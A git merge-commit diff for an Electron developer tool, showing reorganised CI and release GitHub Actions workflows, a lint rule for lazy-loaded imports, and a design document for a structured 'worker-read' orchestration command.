Merge remote-tracking branch 'origin/main' into brennanb2025/feature-project-level-worktree-shared-directories

# Conflicts:
#	src/main/ipc/worktree-remote.ts
#	src/main/ipc/worktree-symlinks.ts
This commit is contained in:
Brennan Benson
2026-07-27 15:40:05 -07:00
1387 changed files with 120488 additions and 7861 deletions
+2
View File
@@ -10,3 +10,5 @@
/skill-stubs/*.md text eol=lf
/skills/*/SKILL.md text eol=lf
/src/cli/bundled-skill-guides.ts text eol=lf
# Bundled plugin trees are byte-hashed; CRLF checkout would break the pinned hash.
/resources/plugins/** text eol=lf
@@ -0,0 +1,68 @@
name: Install Node dependencies
description: Installs the Node toolchain and repository dependencies for Linux CI jobs.
inputs:
native-runtime:
description: Native runtime to prepare after the script-free install (none, node, or electron).
required: false
default: none
runs:
using: composite
steps:
# setup-node needs pnpm on PATH to locate and restore its store.
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
run_install: false
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version-file: package.json
cache: pnpm
- name: Validate native runtime
shell: bash
env:
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
run: |
case "$NATIVE_RUNTIME" in
none|node|electron) ;;
*)
echo "::error::native-runtime must be none, node, or electron"
exit 2
;;
esac
# pnpm's bundled gyp_main.py is not executable on fresh Linux runners.
- name: Use external node-gyp
if: inputs.native-runtime != 'none'
shell: bash
run: |
npm install -g node-gyp@11.5.0
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
- name: Prepare dependency install
shell: bash
run: |
if [ -e node_modules ]; then
ls -ld node_modules
rm -rf node_modules
fi
- name: Install dependencies
shell: bash
run: |
pnpm install \
--no-frozen-lockfile \
--prefer-frozen-lockfile=false \
--ignore-scripts
git diff --exit-code package.json pnpm-lock.yaml
- name: Prepare native runtime
if: inputs.native-runtime != 'none'
shell: bash
env:
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
run: node config/scripts/ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"
+203 -95
View File
@@ -8,62 +8,25 @@ on:
- reopened
- ready_for_review
concurrency:
group: pr-checks-${{ github.event.pull_request.number }}
cancel-in-progress: true
permissions:
contents: read
jobs:
verify:
static_analysis:
name: static analysis
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
# Why: verify:skill-bundle-manifest now checks working-tree bytes
# against the committed skill ledger (advanced only at release cut) and
# no longer walks release tags, so a shallow checkout is sufficient.
persist-credentials: false
- name: Install native build tools
run: sudo apt-get update && sudo apt-get install -y build-essential python3 zlib1g-dev zsh
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version-file: package.json
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
run_install: false
# Why: pnpm's bundled node-gyp ships gyp_main.py without execute
# permission, which breaks native module builds (e.g. node-pty's
# postinstall) with "/bin/sh: gyp_main.py: Permission denied".
# Pin the fallback to the lockfile's node-gyp version so CI stays
# reproducible while forcing pnpm to bypass its broken bundled copy.
# Gate on runner.os == 'Linux' to match release.yml — the
# npm-global path layout this step assumes is POSIX-shaped, and the
# failure has only been observed on Linux runners. Today this job
# pins runs-on: ubuntu-latest so the guard is a no-op, but it
# prevents a silent break if a Windows/macOS matrix is added later.
- name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
if: runner.os == 'Linux'
run: |
npm install -g node-gyp@11.5.0
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
- name: Prepare dependency install
run: |
if [ -e node_modules ]; then
ls -ld node_modules
rm -rf node_modules
fi
- name: Install dependencies
# Why: pnpm 10.24's frozen headless fast path can fail on fresh Ubuntu
# runners while creating the root node_modules. Use the normal resolver
# path, then verify package metadata stayed unchanged.
run: |
pnpm install --no-frozen-lockfile --prefer-frozen-lockfile=false
git diff --exit-code package.json pnpm-lock.yaml
- uses: ./.github/actions/install-node-dependencies
- name: Lint
run: pnpm exec oxlint --format github
@@ -74,27 +37,15 @@ jobs:
- name: Check reliability gate manifest
run: pnpm run check:reliability-gates
# Why: oxlint fails any file over max-lines that is NOT suppressed, so this
# ratchet forbids ADDING a new suppression (inline disable or mobile max
# bump). Existing oversized files are grandfathered in
# config/max-lines-baseline.txt, which may only shrink — new bypasses fail
# here with a clear message instead of silently growing the debt.
- name: Enforce max-lines ratchet (no new bypasses)
- name: Enforce max-lines ratchet
run: pnpm run check:max-lines-ratchet
# Why: the CLI embeds guide content while the skills CLI installs generated
# projections from the repository, so stale output would split those two truths.
- name: Verify bundled skill guides
run: pnpm run verify:bundled-skill-guides
- name: Verify skill freshness manifest
run: pnpm run verify:skill-bundle-manifest
# Why: project-owned type declarations must live in .ts so tsc
# actually checks them. TypeScript's skipLibCheck: true (inherited
# from @electron-toolkit/tsconfig) silently widens unresolved names
# in .d.ts to `any`, which is how #1186 shipped a broken IPC signature
# past typecheck. See docs/preload-typecheck-hole.md.
- name: Guard against project-owned .d.ts in preload/shared
run: |
matches=$(find src/preload src/shared -name '*.d.ts' 2>/dev/null || true)
@@ -113,55 +64,212 @@ jobs:
- name: Verify macOS entitlements
run: pnpm verify:macos-entitlements
- name: Typecheck
run: pnpm typecheck
typecheck:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- uses: ./.github/actions/install-node-dependencies
- run: pnpm typecheck
git_compatibility:
name: Git compatibility
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- uses: ./.github/actions/install-node-dependencies
# Why: real old Git diagnostics differ from mocked errors. Keep the
# fallback predicates executable across the baseline, transition, and
# current command shapes so a newly added flag cannot silently regress.
- name: Verify Git binary compatibility matrix
run: |
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
source="$RUNNER_TEMP/git-2.25.5"
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
| sha256sum --check
mkdir -p "$source"
tar -xzf "$archive" -C "$source" --strip-components=1
make -C "$source" -j2 NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
pnpm exec vitest run --config config/vitest.config.ts \
src/shared/git-binary-compatibility.test.ts
pids=()
(
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
source="$RUNNER_TEMP/git-2.25.5"
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
| sha256sum --check
mkdir -p "$source"
tar -xzf "$archive" -C "$source" --strip-components=1
make -C "$source" -j"$(nproc)" \
NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
pnpm exec vitest run --config config/vitest.config.ts \
src/shared/git-binary-compatibility.test.ts
) &
pids+=("$!")
for spec in \
"alpine/git:edge-2.38.1|2.38.1" \
"alpine/git:v2.49.1|2.49.1"; do
image="${spec%%|*}"
version="${spec#*|}"
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
pnpm exec vitest run --config config/vitest.config.ts \
src/shared/git-binary-compatibility.test.ts
(
image="${spec%%|*}"
version="${spec#*|}"
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
pnpm exec vitest run --config config/vitest.config.ts \
src/shared/git-binary-compatibility.test.ts
) &
pids+=("$!")
done
# Why: postinstall rebuilds better-sqlite3 for Electron's ABI via
# @electron/rebuild, but vitest runs under system Node.js. Rebuild
# it for Node so orchestration tests can load the native module.
- name: Rebuild better-sqlite3 for Node
run: pnpm rebuild better-sqlite3
status=0
for pid in "${pids[@]}"; do
wait "$pid" || status=1
done
exit "$status"
shell_contracts:
name: shell contracts
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- name: Install zsh
run: sudo apt-get update && sudo apt-get install -y zsh
- uses: ./.github/actions/install-node-dependencies
with:
native-runtime: node
- name: Test real shell contracts
run: |
pnpm exec vitest run --config config/vitest.config.ts \
src/main/daemon/shell-ready.test.ts \
src/main/daemon/node-pty-fd-leak.test.ts \
src/main/providers/local-pty-shell-ready.test.ts \
src/main/providers/__tests__/shell-ready-framework-example.test.ts \
src/main/pty/omp-shell-wrapper.node-pty.test.ts \
src/shared/posix-command-path-lookup.test.ts
test:
name: tests ${{ matrix.shard }}/${{ strategy.job-total }}
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- uses: ./.github/actions/install-node-dependencies
with:
native-runtime: node
# Why: install intentionally blocks Electron's package postinstall, but
# some unit tests import `electron` under Node and require path.txt.
- name: Install Electron package binary for tests
run: node config/scripts/install-electron-package-binary.mjs
- name: Test
run: pnpm test
- name: Test shard
run: |
pnpm exec vitest run --config config/vitest.config.ts \
--exclude=src/main/daemon/shell-ready.test.ts \
--exclude=src/main/daemon/node-pty-fd-leak.test.ts \
--exclude=src/main/providers/local-pty-shell-ready.test.ts \
--exclude=src/main/providers/__tests__/shell-ready-framework-example.test.ts \
--exclude=src/main/pty/omp-shell-wrapper.node-pty.test.ts \
--exclude=src/shared/posix-command-path-lookup.test.ts \
--shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Build unpacked app
run: pnpm build:unpack
package:
name: package
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
with:
persist-credentials: false
- name: Cache electron-builder downloads
uses: actions/cache@v5
with:
path: |
~/.cache/electron
~/.cache/electron-builder
key: electron-builder-linux-${{ hashFiles('pnpm-lock.yaml') }}
restore-keys: |
electron-builder-linux-
- uses: ./.github/actions/install-node-dependencies
with:
native-runtime: electron
- name: Build package inputs
run: |
status=0
pnpm run build:cli || status=1
scripts=(build:relay build:electron-vite:parallel)
pids=()
for script in "${scripts[@]}"; do
pnpm run "$script" &
pids+=("$!")
done
for pid in "${pids[@]}"; do
wait "$pid" || status=1
done
exit "$status"
- name: Project web client from renderer build
run: pnpm run build:web-from-renderer
- name: Build native components
run: pnpm run build:native
- name: Package unpacked app
env:
ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1'
run: pnpm exec electron-builder --config config/electron-builder.config.cjs --dir
# Why: the packaged CLI runs outside Electron's asar integration, so
# bare runtime imports must be present in the package itself. Run from a
# temp copy so Node cannot mask missing package deps with repo node_modules.
- name: Smoke packaged CLI
run: node config/scripts/smoke-packaged-cli.mjs --app-dir=dist/linux-unpacked
verify:
if: always()
needs:
- static_analysis
- typecheck
- git_compatibility
- shell_contracts
- test
- package
runs-on: ubuntu-latest
steps:
- name: Require successful checks
env:
STATIC_ANALYSIS: ${{ needs.static_analysis.result }}
TYPECHECK: ${{ needs.typecheck.result }}
GIT_COMPATIBILITY: ${{ needs.git_compatibility.result }}
SHELL_CONTRACTS: ${{ needs.shell_contracts.result }}
TEST: ${{ needs.test.result }}
PACKAGE: ${{ needs.package.result }}
run: |
for result in \
"$STATIC_ANALYSIS" \
"$TYPECHECK" \
"$GIT_COMPATIBILITY" \
"$SHELL_CONTRACTS" \
"$TEST" \
"$PACKAGE"; do
if [ "$result" != "success" ]; then
exit 1
fi
done
+233 -17
View File
@@ -42,12 +42,12 @@ on:
default: false
type: boolean
version_suffix:
description: Extra prerelease identifier appended to an rc version (e.g. "perf" -> 1.2.3-rc.4.perf). rc kind only.
description: Extra prerelease identifier appended to an rc version (e.g. "perf" -> 1.2.3-rc.4.perf). Applies to kind=rc, or to an explicit version that is a bare X.Y.Z-rc.N.
required: false
type: string
default: ''
version:
description: Exact version to cut (e.g. 1.4.155 or 1.4.155-rc.0), bypassing kind-based computation. Use to leapfrog a deleted/rolled-back stable that regressed the release list. Must be greater than the latest published stable.
description: Exact version to cut (e.g. 1.4.155 or 1.4.155-rc.4), bypassing kind-based computation. Use to leapfrog a deleted/rolled-back stable that regressed the release list. Must be greater than the latest published stable, and an -rc.N must be above the highest RC already cut for its own base.
required: false
type: string
default: ''
@@ -73,9 +73,27 @@ jobs:
should_release: ${{ steps.tag.outputs.tag != '' || steps.version.outputs.recovered_tag != '' }}
latest_published_rc_tag: ${{ steps.publish_drafts.outputs.latest_published_tag }}
steps:
# Surfaces workflow_dispatch inputs as a table in the job summary
# (kind, ref, dry_run, version_suffix) so runs are easy to audit.
- uses: m-s-abeer/update-gha-summary-with-workflow-inputs@v1
# Why inlined (not m-s-abeer/update-gha-summary-with-workflow-inputs):
# this job runs with contents:write and secret scope, so avoid executing
# any external (mutable @v1) action here. Surfaces every
# workflow_dispatch input as a table for audit; the resolved commit /
# branch / tag enrichment is written later in "Resolve ref SHA".
# Inputs are passed as JSON via env and parsed by jq as data — never
# interpolated into the shell — to avoid injection from dispatch values.
- name: Summarize workflow inputs
if: github.event_name == 'workflow_dispatch'
env:
INPUTS_JSON: ${{ toJSON(inputs) }}
run: |
{
echo "## Workflow inputs"
echo ""
echo "| Input | Value |"
echo "| --- | --- |"
# Values are data from env JSON; wrap in backticks for readability.
# Newlines collapsed so a multi-line input cannot break the table.
jq -r '(. // {}) | to_entries[] | "| `\(.key)` | `\(.value | tostring | gsub("\n"; " "))` |"' <<<"$INPUTS_JSON"
} >> "$GITHUB_STEP_SUMMARY"
- name: Checkout ref
uses: actions/checkout@v6
@@ -95,8 +113,17 @@ jobs:
- name: Resolve ref SHA
id: resolve
env:
# Why: keep the caller's ref as data (env) so we can label it in the
# summary without shell-interpolating a dispatch-controlled string
# into the script body.
INPUT_REF: ${{ github.event_name == 'schedule' && 'main' || inputs.ref }}
REPO: ${{ github.repository }}
SERVER_URL: ${{ github.server_url }}
run: |
set -euo pipefail
sha="$(git rev-parse HEAD)"
short_sha="$(git rev-parse --short=12 HEAD)"
echo "sha=$sha" >>"$GITHUB_OUTPUT"
# Why: only push the version-bump commit back to main when the
@@ -110,6 +137,97 @@ jobs:
echo "push_main=false" >>"$GITHUB_OUTPUT"
fi
# Always surface the resolved commit in the job summary, plus any
# branches/tags that currently point at it (clickable). The raw
# `ref` input alone is ambiguous (branch vs tag vs SHA); for SHA
# inputs it also hides the human-readable names operators need
# when auditing RC cuts.
input_ref="${INPUT_REF:-main}"
repo_url="${SERVER_URL}/${REPO}"
branches="$(
git for-each-ref --format='%(refname:short)' --points-at="$sha" 'refs/remotes/origin/*' \
| sed 's|^origin/||' \
| grep -vx 'HEAD' \
| sort -u \
|| true
)"
tags="$(
git for-each-ref --format='%(refname:short)' --points-at="$sha" 'refs/tags/*' \
| sort -u \
|| true
)"
# Build comma-separated markdown links. Branch/tag names go in the
# URL path as-is (slashes must stay literal for GitHub tree URLs).
linkify_names() {
local url_kind="$1"
local names="$2"
if [[ -z "${names//[$'\t\r\n']/}" ]]; then
printf '_none_'
return
fi
local first=1
while IFS= read -r name; do
[[ -z "$name" ]] && continue
local path_name url
path_name="${name// /%20}"
case "$url_kind" in
branch) url="${repo_url}/tree/${path_name}" ;;
tag) url="${repo_url}/releases/tag/${path_name}" ;;
*) url="${repo_url}" ;;
esac
if [[ "$first" -eq 1 ]]; then
first=0
else
printf ', '
fi
printf '[`%s`](%s)' "$name" "$url"
done <<<"$names"
}
branch_md="$(linkify_names branch "$branches")"
tag_md="$(linkify_names tag "$tags")"
# When no branch tip matches (historical SHA cuts), fall back to
# name-rev so the summary still shows something like `main~3`.
contains_md="_none_"
if [[ "$branch_md" == "_none_" ]]; then
approx="$(git name-rev --name-only --no-undefined --refs='refs/remotes/origin/*' "$sha" 2>/dev/null || true)"
if [[ -n "$approx" ]]; then
# name-rev prints remotes/origin/<branch>[~N]; strip to branch[~N].
approx="${approx#remotes/origin/}"
approx="${approx#origin/}"
contains_md="\`${approx}\`"
fi
fi
input_kind="ref"
if git rev-parse -q --verify "refs/remotes/origin/${input_ref}" >/dev/null 2>&1; then
input_kind="branch"
elif git rev-parse -q --verify "refs/tags/${input_ref}" >/dev/null 2>&1; then
input_kind="tag"
elif [[ "$input_ref" =~ ^[0-9a-fA-F]{7,40}$ ]]; then
input_kind="sha"
fi
{
echo "## Resolved source"
echo ""
echo "Every cut resolves to a commit. Branch/tag rows list refs whose tip is that commit."
echo ""
echo "| Field | Value |"
echo "| --- | --- |"
echo "| Input ref | \`${input_ref}\` (${input_kind}) |"
echo "| Commit | [\`${short_sha}\`](${repo_url}/commit/${sha}) |"
echo "| Branches at commit | ${branch_md} |"
echo "| Tags at commit | ${tag_md} |"
if [[ "$branch_md" == "_none_" ]]; then
echo "| Also on | ${contains_md} |"
fi
echo ""
} >> "$GITHUB_STEP_SUMMARY"
- name: Compute RC slot
id: slot
run: |
@@ -270,6 +388,23 @@ jobs:
node config/scripts/release-rc-history.mjs "$1"
}
require_valid_version_suffix() {
# Why a dot-appended identifier (rc.N.perf): it sorts just
# above its own base rc.N but BELOW rc.N+1, so suffixed side-
# branch builds never outrank the main RC series and cannot
# hijack the update channel; clients find them by matching the
# identifier ("perf") in the prerelease components.
# Why the numeric alternation rather than plain [0-9A-Za-z]+:
# semver forbids a leading zero on an all-digit identifier, and
# `npm version` silently renormalizes rc.4.01 to rc.4.1 while the
# tag step keeps the literal input — so the shipped package.json
# version and its own release tag would name different releases.
if [[ ! "$1" =~ ^(0|[1-9][0-9]*|[0-9A-Za-z]*[A-Za-z][0-9A-Za-z]*)$ ]]; then
echo "::error::version_suffix (or the trailing .identifier in version) must be alphanumeric with no leading zero on an all-digit identifier, got: $1" >&2
exit 1
fi
}
current_package_stable() {
node -e '
const { version } = require("./package.json");
@@ -380,10 +515,34 @@ jobs:
new=""
if [[ -n "${EXPLICIT_VERSION:-}" ]]; then
explicit="${EXPLICIT_VERSION#v}"
if [[ ! "$explicit" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-rc\.[0-9]+)?$ ]]; then
echo "::error::version must be X.Y.Z or X.Y.Z-rc.N, got: $EXPLICIT_VERSION" >&2
# Why the optional trailing identifier: it lets an operator name a
# suffixed side-branch RC (X.Y.Z-rc.N.perf) directly, the same shape
# the rc path cuts. Note this only ever admits one *above* the
# series head — the gate below refuses a suffixed rc at or below it
# just like a bare one, so this is a second spelling of
# `version=X.Y.Z-rc.N` + `version_suffix`, not a way back into a
# series that already shipped.
# Why rc.(0|[1-9][0-9]{0,8}): the `-le` below compares with bash's
# machine-width integers, so both ends of that range fall *open* on
# exactly the RCs this gate must catch. A leading zero (rc.08) is an
# invalid octal literal, and the failed test makes the `if` false.
# Past INTMAX the literal wraps two's-complement, so whether it
# reads as above or below the published rc depends on the value:
# rc.99999999999999999999 wraps to 7766279631452241919 and sails
# through. The cut then lands a tag that pins highest_rc_for_base
# at 1e20 forever, and every later cut wraps to a *lower* rc that
# sorts below it, so the fleet never updates again. Nine digits is
# far above any real series and exact in bash math either way.
if [[ ! "$explicit" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-rc\.(0|[1-9][0-9]{0,8})(\.[0-9A-Za-z]+)?)?$ ]]; then
echo "::error::version must be X.Y.Z, X.Y.Z-rc.N, or X.Y.Z-rc.N.suffix, got: $EXPLICIT_VERSION" >&2
exit 1
fi
# Why route the embedded identifier through the same validator the
# kind path uses: the regex above only checks shape, and rc.4.01
# is a shape-valid identifier that is not valid semver.
if [[ "$explicit" == *-rc.*.* ]]; then
require_valid_version_suffix "${explicit##*.}"
fi
# Same updater-safety gate the kind path enforces: stable line must
# strictly increase over the latest published stable (prerelease
# identifiers ignored for the comparison).
@@ -391,7 +550,44 @@ jobs:
echo "::error::Refusing explicit version $explicit: not greater than latest stable $latest_stable." >&2
exit 1
fi
# Why a second gate for prereleases: semver_gt compares through
# strip_pre(), so the stable-line check reads 1.4.156-rc.0 as
# 1.4.156 and waves it past a 1.4.155 stable even when rc.0..rc.3
# already shipped — republishing an RC *below* what clients run,
# the same regression class as the rc.4 cut that orphaned live
# daemons. Anchor on the same rc history the kind path uses so the
# override can only ever advance the series it targets.
if [[ "$explicit" == *-rc.* ]]; then
explicit_base="${explicit%%-*}"
explicit_rc="${explicit#*-rc.}"
explicit_rc="${explicit_rc%%.*}"
highest_explicit_rc="$(highest_rc_for_base "$explicit_base")"
if [[ -n "$highest_explicit_rc" && "$explicit_rc" -le "$highest_explicit_rc" ]]; then
# Why the remedy is spelled this narrowly: kind=rc derives its
# base from bump(latest_stable, patch), so it can only resume a
# series on that base. A minor/major series (1.5.0-rc.N) exists
# only because this override created it, and pointing an
# operator at kind=rc there would cut an unrelated release.
echo "::error::Refusing explicit version $explicit: rc.$explicit_rc is not above rc.$highest_explicit_rc, the highest already cut for $explicit_base. Request rc.$((highest_explicit_rc + 1)) or higher. If you are resuming an unpublished tag and $explicit_base is the next patch after latest stable $latest_stable, dispatch kind=rc instead, which recovers that tag when it was cut from the ref you dispatch; otherwise cut rc.$((highest_explicit_rc + 1)) and leave the unpublished tag alone." >&2
exit 1
fi
fi
new="$explicit"
# Why here too: the suffix append below lives in the kind path the
# override skips, so an operator passing both inputs used to get
# their suffix silently dropped. Only a bare rc can take one — a
# stable X.Y.Z.perf is not valid semver, and re-suffixing an
# already-suffixed rc would produce rc.N.perf.perf.
if [[ -n "${VERSION_SUFFIX:-}" ]]; then
# Same bounded rc pattern as the shape check above, so the two
# cannot drift apart under a later edit.
if [[ ! "$explicit" =~ ^[0-9]+\.[0-9]+\.[0-9]+-rc\.(0|[1-9][0-9]{0,8})$ ]]; then
echo "::error::version_suffix applies only to a bare X.Y.Z-rc.N version, got: $explicit" >&2
exit 1
fi
require_valid_version_suffix "$VERSION_SUFFIX"
new="${new}.${VERSION_SUFFIX}"
fi
echo "Explicit version override: $new"
fi
@@ -421,15 +617,7 @@ jobs:
new="${base}-rc.$((highest_rc + 1))"
fi
if [[ -n "${VERSION_SUFFIX:-}" ]]; then
# Why a dot-appended identifier (rc.N.perf): it sorts just
# above its own base rc.N but BELOW rc.N+1, so suffixed side-
# branch builds never outrank the main RC series and cannot
# hijack the update channel; clients find them by matching the
# identifier ("perf") in the prerelease components.
if [[ ! "$VERSION_SUFFIX" =~ ^[0-9A-Za-z]+$ ]]; then
echo "::error::version_suffix must be alphanumeric, got: $VERSION_SUFFIX" >&2
exit 1
fi
require_valid_version_suffix "$VERSION_SUFFIX"
new="${new}.${VERSION_SUFFIX}"
fi
;;
@@ -521,7 +709,19 @@ jobs:
# message and tag name explicitly (avoids npm's `v1.2.3` prefix
# assumptions and any lifecycle scripts that would run on bump).
npm version "$VERSION" --no-git-tag-version --allow-same-version
git add package.json
# Why: the cut is the only point where committed skill bytes become a
# released revision. Without this row the ledger never advances, so the
# next skill change rebuilds the revision this tag ships over different
# bytes and every install of it stops matching a known snapshot.
# --release is provenance-only: it fails if the content-addressed
# artifacts do not already match this ref and writes just the mapping
# row, so the version commit stays skill-independent. Node built-ins
# only, so this needs no install.
if ! node config/scripts/generate-skill-bundle-manifest.mjs --release "$VERSION"; then
echo "::error::Refusing to record release provenance for v$VERSION: the committed skill artifacts do not match this ref. Land a regeneration on main, then re-run the cut." >&2
exit 1
fi
git add package.json resources/skills/release-mapping.json
commit_message="release: v$VERSION"
if [[ "$EVENT_NAME" == "schedule" ]]; then
commit_message="$commit_message [rc-slot:$SLOT]"
@@ -534,6 +734,22 @@ jobs:
else
git commit -m "$commit_message"
fi
# Why: a lint that greps this file cannot see a path built from an env
# var, a composite action, or concatenation, and `git commit` has forms
# (-a, -i, --only, a pathspec) that commit the working tree rather than
# the index. Assert what the commit actually carries, so the tag can
# only ever ship the version bump and the provenance row, no matter
# which step staged what or how the commit was spelled.
# -F because the allowlist is literal: unanchored, `.` would match any
# character and quietly admit a path like `packageXjson`.
# -m --first-parent: plain diff-tree prints NOTHING for a merge commit,
# which would make this guard pass silently rather than fail closed.
committed="$(git diff-tree --no-commit-id --name-only -r -m --first-parent HEAD |
grep -vxF -e 'package.json' -e 'resources/skills/release-mapping.json' || true)"
if [[ -n "$committed" ]]; then
echo "::error::Release commit carries unexpected paths: $(echo "$committed" | tr '\n' ' ')Only package.json and the skill release-mapping row may ship in a version commit." >&2
exit 1
fi
git tag -a "v$VERSION" -m "v$VERSION"
echo "tag=v$VERSION" >>"$GITHUB_OUTPUT"
echo "sha=$(git rev-parse HEAD)" >>"$GITHUB_OUTPUT"
@@ -27,7 +27,11 @@ on:
- 'config/patches/**'
- 'config/scripts/ensure-native-runtime.mjs'
- 'config/scripts/rebuild-native-deps.mjs'
- 'config/scripts/verify-packaged-plugin-resources.cjs'
- 'native/**'
# Byte-hashed at package time, and CRLF-sensitive on Windows.
- '.gitattributes'
- 'resources/plugins/**'
- 'resources/win32/**'
- 'src/main/daemon/**'
- 'src/main/index.ts'
@@ -28,9 +28,13 @@ on:
- 'src/main/ipc/pty*.ts'
- 'src/main/providers/**'
- 'src/main/pty/**'
- 'src/main/pty-descendant-termination.ts'
- 'src/main/windows-process-tree-kill.ts'
- 'src/main/windows-pty-root-identity.ts'
- 'src/preload/**'
- 'src/renderer/src/components/terminal-pane/**'
- 'src/renderer/src/lib/pane-manager/**'
- 'src/shared/process-table-snapshot.ts'
- 'src/shared/pty-session-id-format.ts'
workflow_dispatch:
inputs:
+17
View File
@@ -49,6 +49,23 @@
],
"curly": "error",
"no-unneeded-ternary": "error",
"no-restricted-imports": [
"error",
{
"paths": [
{
"name": "@linear/sdk",
"allowTypeImports": true,
"message": "Value-importing @linear/sdk hoists its ~2.6MB CJS bundle into the eager top-level require block and defeats the lazy loader. Use `import type` plus loadLinearSdk() from src/main/linear/linear-sdk.ts."
},
{
"name": "qrcode",
"allowTypeImports": true,
"message": "qrcode is only reachable from mobile pairing; a static import parses it at launch for everyone. Use `import type` plus `await import('qrcode')` at the call site."
}
]
}
],
"no-useless-return": "error",
"prefer-template": "error",
"unicorn/consistent-empty-array-spread": "error",
File diff suppressed because it is too large Load Diff
+604
View File
@@ -0,0 +1,604 @@
# Orchestration Structured Worker Output
Status: implemented; physical local, mixed-version, and Windows-home to Mac-worker validation complete
Scope: orchestration `worker-read` only
Last updated: 2026-07-24
## Summary
`orca orchestration worker-read` currently reads bounded terminal output. That is always available,
but full-screen agent TUIs can make it noisy or incomplete.
Orca already knows more than the terminal logo suggests. Agent hooks associate an exact pane with:
- the agent type, such as Codex or Claude;
- the provider session or conversation ID; and
- when available, the provider-reported transcript path.
The sidebar, session resume, sleeping-agent recovery, and native chat already use this information.
The missing piece is a narrow orchestration path from an exact Dispatch to that exact session on the
server where the worker runs.
The proposed behavior is:
```text
worker-read
exact supported transcript is available -> structured transcript page
otherwise -> bounded terminal page
```
This does not add orchestration strategy, a dashboard, a scheduler, or a universal provider layer.
It makes one existing observation command return the best source Orca can prove.
## User-facing goal
A coordinator should be able to inspect a worker with one predictable command:
```bash
orca orchestration worker-read --dispatch <dispatch-id> --json
```
The coordinator should not need to know:
- which Orca server owns the worker;
- the worker's terminal or pane handle;
- the provider session ID;
- where a transcript lives on disk; or
- whether structured reading is supported by that provider/server version.
The response must always say which source was used. It must never silently read a different agent
session.
## Why the existing sidebar is relevant
The agent logo identifies the detected agent type. By itself, that is not enough to choose a
transcript.
The richer sidebar status also carries pane-scoped provider-session metadata reported by hooks.
That is the useful foundation:
```text
Dispatch
-> exact worker process and terminal
-> exact tab/leaf pane
-> hook-reported provider session
-> provider transcript locator
```
Some live status ownership is currently renderer-centric, while headless and mobile graph paths
also retain compatible status snapshots. Implementation therefore needs one runtime-owned lookup
that exposes the current exact pane association to `worker-read`. This is a small bridge over
existing status data, not a second agent-status system.
## Design principles
### Exactness over convenience
- Never select the "latest session in this directory."
- Never select a transcript from a terminal title or logo alone.
- Never switch sources or sessions in the middle of a cursor chain.
- If Orca cannot prove the association, return a labeled terminal fallback.
### Resource-local reads
The server running the worker resolves and reads its transcript. A Run home on macOS must not try
to interpret a Windows path, and a Windows Run home must not try to interpret a macOS path.
Only bounded output data crosses the federation connection. Transcript paths do not.
### One simple agent command
Agents should not choose provider adapters or supply session metadata. `worker-read` defaults to
automatic source selection. Source selection flags exist for debugging and explicit policy, not
because they are required in the normal loop.
### Narrow provider support
Initial support should cover only providers for which Orca already has:
1. an exact pane-scoped session association; and
2. an existing bounded transcript reader with test coverage.
Codex is the required first provider. Claude may ship in the same change only if it uses the same
proven reader path without adding a second architecture. Other agents receive terminal fallback.
### Honest compatibility
Connected servers can run different Orca versions. A server without structured-read support must
continue to return bounded terminal output rather than failing the whole Run.
## Public command contract
### Request
```bash
orca orchestration worker-read \
--dispatch <dispatch-id> \
[--source auto|transcript|terminal] \
[--cursor <opaque-cursor>] \
[--limit <count>] \
[--json]
```
`--source` behavior:
| Value | Behavior |
| ------------ | -------------------------------------------------------------------------------------- |
| `auto` | Use an exact supported transcript; otherwise use terminal output. This is the default. |
| `transcript` | Require an exact supported transcript. Return a typed error instead of falling back. |
| `terminal` | Use the current bounded terminal reader. |
Existing numeric terminal cursors remain accepted. New responses return an opaque cursor that can
pin either source without exposing provider paths.
### Response
The implemented structured response has this shape:
```json
{
"dispatchId": "dispatch_123",
"source": "transcript",
"sourceIdentity": "opaque-source-fingerprint",
"provider": "codex",
"transcript": {
"messages": [],
"nextCursor": "opaque-next-cursor",
"limited": false,
"returnedMessageCount": 0
},
"cursor": "opaque-next-cursor",
"status": {
"worker": "running",
"terminal": "running"
},
